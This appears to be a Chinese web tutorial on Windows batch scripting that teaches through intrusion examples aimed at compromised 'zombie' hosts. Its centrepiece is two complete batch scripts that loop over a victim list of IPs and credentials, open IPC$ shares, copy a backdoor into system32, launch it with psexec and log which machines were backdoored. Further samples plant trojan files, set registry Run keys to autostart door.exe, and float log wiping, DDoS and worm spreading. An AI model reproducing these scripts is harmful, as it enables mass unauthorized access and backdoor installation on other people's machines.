批處理文件簡(jiǎn)介與編寫(xiě)
更新時(shí)間:2006年09月08日 00:00:00 作者:
sample3:
你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開(kāi)心的一件事都會(huì)變得很郁悶:)。文章開(kāi)頭就談到使用批處理文件,可以簡(jiǎn)化日?;蛑貜?fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。
主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable)
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法請(qǐng)參見(jiàn)上面的sample1,在這里它表示按順序?qū)ictim.txt中的內(nèi)容傳遞給door.bat中的參數(shù)%i %j %k。
而cultivate.bat無(wú)非就是用net use命令來(lái)建立IPC$連接,并copy木馬+后門(mén)到victim,然后用返回碼(If errorlever =)來(lái)篩選成功種植后門(mén)的主機(jī),并echo出來(lái),或者echo到指定的文件。
delims= 表示vivtim.txt中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這victim.txt里的內(nèi)容是什么樣的了。應(yīng)該根據(jù)%%i %%j %%k表示的對(duì)象來(lái)排列,一般就是 ip password username。
代碼雛形:
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use \\\\%1\\ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe\\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec \\\\%1 c:\\winnt\\system32\\windrv32.exe
@psexec \\\\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形,兩個(gè)批處理和后門(mén)程序(Windrv32.exe),PSexec.exe需放在統(tǒng)一目錄下.批處理內(nèi)容
尚可擴(kuò)展,例如:加入清除日志+DDOS的功能,加入定時(shí)添加用戶(hù)的功能,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能(蠕蟲(chóng)).此處不多做敘述,有興趣的朋友可自行研究.
二.如何在批處理文件中使用參數(shù)
批處理中可以使用參數(shù),一般從1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用shift來(lái)移動(dòng),這種情況并不多見(jiàn),我們就不考慮它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
這個(gè)例子用于連續(xù)地格式化幾張軟盤(pán),所以用的時(shí)候需在dos窗口輸入fomat.bat a,呵呵,好像有點(diǎn)畫(huà)蛇添足了~^_^
sample2:
當(dāng)我們要建立一個(gè)IPC$連接地時(shí)候總要輸入一大串命令,弄不好就打錯(cuò)了,所以我們不如把一些固定命令寫(xiě)入一個(gè)批處理,把肉雞地ip password username 當(dāng)著參數(shù)來(lái)賦給這個(gè)批處理,這樣就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,這里PASSWORD是第二個(gè)參數(shù)。
@if errorlevel 1 echo connection failed
怎么樣,使用參數(shù)還是比較簡(jiǎn)單的吧?你這么帥一定學(xué)會(huì)了^_^.No.3
三.如何使用組合命令(Compound Command)
1.&
Usage:第一條命令 & 第二條命令 [& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,而不管命令是否執(zhí)行成功
Sample:
C:\\>dir z: & dir c:\\Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
Usage:第一條命令 && 第二條命令 [&& 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行出錯(cuò)的命令后將不執(zhí)行后面的命令,如果一直沒(méi)有出錯(cuò)則一直執(zhí)行完所有命令;
Sample:
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.
C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做備份的時(shí)候可能會(huì)用到這種命令會(huì)比較簡(jiǎn)單,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\\backup
如果遠(yuǎn)程服務(wù)器上存在backup.mdb文件,就執(zhí)行copy命令,若不存在該文件則不執(zhí)行copy命令。這種用法可以替換IF exist了 :)
3.||
Usage:第一條命令 || 第二條命令 [|| 第三條命令...]
用這種方法可以同時(shí)執(zhí)行多條命令,當(dāng)碰到執(zhí)行正確的命令后將不執(zhí)行后面的命令,如果沒(méi)有出現(xiàn)正確的命令則一直執(zhí)行完所有命令;
Sample:
C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
組合命令使用的例子:
sample:
@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命令
Usage:第一條命令 | 第二條命令 [| 第三條命令...]
將第一條命令的結(jié)果作為第二條命令的參數(shù)來(lái)使用,記得在unix中這種方式很常見(jiàn)。
sample:
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explorer
看出來(lái)了么?用于終端服務(wù)允許我們?yōu)橛脩?hù)自定義起始的程序,來(lái)實(shí)現(xiàn)讓用戶(hù)運(yùn)行下面這個(gè)bat,以獲得登錄用戶(hù)的IP。
2.>、>>輸出重定向命令
將一條命令或某個(gè)程序輸出結(jié)果的重定向到特定文件中, > 與 >>的區(qū)別在于,>會(huì)清除調(diào)原有文件中的內(nèi)容后寫(xiě)入指定文件,而>>只會(huì)追加內(nèi)容到指定文件中,而不會(huì)改動(dòng)其中的內(nèi)容。
sample1:
echo hello world>c:\\hello.txt (stupid example?)
sample2:
時(shí)下DLL木馬盛行,我們知道system32是個(gè)捉迷藏的好地方,許多木馬都削尖了腦袋往那里鉆,DLL馬也不例外,針對(duì)這一點(diǎn)我們可以在安裝好系統(tǒng)和必要的應(yīng)用程序后,對(duì)該目錄下的EXE和DLL文件作一個(gè)記錄:
運(yùn)行CMD--轉(zhuǎn)換目錄到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
這樣所有的EXE和DLL文件的名稱(chēng)都被分別記錄到exeback.txt和dllback.txt中,
日后如發(fā)現(xiàn)異常但用傳統(tǒng)的方法查不出問(wèn)題時(shí),則要考慮是不是系統(tǒng)中已經(jīng)潛入DLL木馬了.
這時(shí)我們用同樣的命令將system32下的EXE和DLL文件記錄到另外的exeback1.txt和dllback1.txt中,然后運(yùn)行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比較前后兩次的DLL和EXE文件,并將結(jié)果輸入到diff.txt中),這樣我們就能發(fā)現(xiàn)一些多出來(lái)的DLL和EXE文件,然后通過(guò)查看創(chuàng)建時(shí)間、版本、是否經(jīng)過(guò)壓縮等就能夠比較容易地判斷出是不是已經(jīng)被DLL木馬光顧了。沒(méi)有是最好,如果有的話也不要直接DEL掉,先用regsvr32 /u trojan.dll將后門(mén)DLL文件注銷(xiāo)掉,再把它移到回收站里,若系統(tǒng)沒(méi)有異常反映再將之徹底刪除或者提交給殺毒軟件公司。
3.< 、>& 、<&
< 從文件中而不是從鍵盤(pán)中讀入命令輸入。
>& 將一個(gè)句柄的輸出寫(xiě)入到另一個(gè)句柄的輸入中。
<& 從一個(gè)句柄讀取輸入并將其寫(xiě)入到另一個(gè)句柄輸出中。
這些并不常用,也就不多做介紹。
No.5
五.如何用批處理文件來(lái)操作注冊(cè)表
在入侵過(guò)程中經(jīng)?;夭僮髯?cè)表的特定的鍵值來(lái)實(shí)現(xiàn)一定的目的,例如:為了達(dá)到隱藏后門(mén)、木馬程序而刪除Run下殘余的鍵值。或者創(chuàng)建一個(gè)服務(wù)用以加載后門(mén)。當(dāng)然我們也會(huì)修改注冊(cè)表來(lái)加固系統(tǒng)或者改變系統(tǒng)的某個(gè)屬性,這些都需要我們對(duì)注冊(cè)表操作有一定的了解。下面我們就先學(xué)習(xí)一下如何使用.REG文件來(lái)操作注冊(cè)表.(我們可以用批處理來(lái)生成一個(gè)REG文件)
關(guān)于注冊(cè)表的操作,常見(jiàn)的是創(chuàng)建、修改、刪除。
1.創(chuàng)建
創(chuàng)建分為兩種,一種是創(chuàng)建子項(xiàng)(Subkey)
我們創(chuàng)建一個(gè)文件,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]
然后執(zhí)行該腳本,你就已經(jīng)在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下創(chuàng)建了一個(gè)名字為“hacker”的子項(xiàng)。
另一種是創(chuàng)建一個(gè)項(xiàng)目名稱(chēng)
那這種文件格式就是典型的文件格式,和你從注冊(cè)表中導(dǎo)出的文件格式一致,內(nèi)容如下:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02
這樣就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about這三個(gè)項(xiàng)目
Invader的類(lèi)型是“String Value”
door的類(lèi)型是“REG SZ Value”
Autodos的類(lèi)型是“DWORD Value”
2.修改
修改相對(duì)來(lái)說(shuō)比較簡(jiǎn)單,只要把你需要修改的項(xiàng)目導(dǎo)出,然后用記事本進(jìn)行修改,然后導(dǎo)入(regedit /s)即可。
3.刪除
我們首先來(lái)說(shuō)說(shuō)刪除一個(gè)項(xiàng)目名稱(chēng),我們創(chuàng)建一個(gè)如下的文件:
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-
執(zhí)行該腳本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被刪除了;
相關(guān)文章
批處理bat函數(shù):大數(shù)字加減乘除、時(shí)期時(shí)間計(jì)算、數(shù)字排序、進(jìn)制轉(zhuǎn)換等
這篇文章主要介紹了批處理bat函數(shù):大數(shù)字加減乘除、時(shí)期時(shí)間計(jì)算、數(shù)字排序、進(jìn)制轉(zhuǎn)換等,默認(rèn)情況下批處理是不支持的,只能自己寫(xiě)函數(shù)2021-09-09批處理?xiàng)钶x三角效果實(shí)現(xiàn)代碼
這篇文章主要介紹了批處理打印彩色的楊輝三角效果實(shí)現(xiàn)代碼,喜歡的朋友可以測(cè)試下2014-03-03批處理實(shí)現(xiàn)文本內(nèi)容居中顯示的代碼
CMD原始窗口中,不調(diào)節(jié)窗口大小,不生成臨時(shí)文件,居中顯示文本內(nèi)容。2010-10-10CMD CODE PAGE的概念及其設(shè)置值使用方法
如果你的cmd無(wú)法正常顯示中文, 或者其他字符, 通過(guò)chcp 來(lái)修改, 參數(shù)是nnn代表3個(gè)數(shù)字. 簡(jiǎn)體中文的codepage是: 936 西文是:12522008-08-08